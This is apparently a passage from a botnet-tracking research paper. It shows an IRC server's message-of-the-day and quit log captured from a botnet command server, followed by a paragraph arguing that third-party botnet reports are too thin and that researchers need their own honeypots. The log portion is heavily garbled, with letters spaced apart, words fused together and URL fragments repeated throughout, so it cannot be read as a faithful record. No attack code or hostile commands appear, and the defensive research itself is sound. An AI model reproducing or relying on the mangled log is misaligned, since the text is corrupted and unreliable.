7 2f o o: : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -H t t p : / / w w w . g o u v e r n m e n t s e c u r i t y . o r g : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -N e t w o r kS e c u r i t yJ o b s : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -W e l c o m et ot h eG S ON e t w o r kS e c u r i t yJ o b s D i r e c t o r yaf r e es e r v i c eo fG S O . : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -I fy o uw i s ht oi n c l u d ey o u ri n f o r m a t i o ni n t h ed i r e c t o r ys i m p l y : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: h t t p : / / w w w . g o v e r n m e n t s e c u r i t y . o r g / f o r u m / i n d e x . p h p ? a c t = P o s t & a m p ; C O D E = 0 0 & a m p ; f = 3 2 : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -a n dp o s tt h ei n f o r m a t i o na b o u tt h ep o s i t i o n y o ua r es e e k i n gt of i l l . . : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 2f o o: -Y o uc a na t t a c haf i l eu pt o9 m bi ns i z e . : w w w . p a c k e t s t o r m s e c u r i t y . o r g3 7 6f o o: E n do f/ M O T Dc o m m a n d . : f o oM O D Ef o o: + G Q U I T E R R O R: C l o s i n gL i n k :f o o [ r i p p e d ]( Q u i t :f o o )

This time, we could even collect less information (but some very interesting one). Again, we can't use the information to sneak a bot into the Botnet. These three examples show that we can not rely on 3rd party information about existing Botnets. We have to collect these information ourselves using own Honeynets. Even though two of the three examples are unstripped and bad configured IRC daemons, we are not able to gain enough sensitive information. Incomplete information like Symantec offers just inform others about existing Botnets. But we are not able to collect any data about the Botnet usage or the botnetters themselves. We thus can not learn more about the tactics and motives of the operators of the Botnets with information provided only by others. We have to track Botnets ourselves and Honeypots are a perfect solution to help us in gathering the necessary information.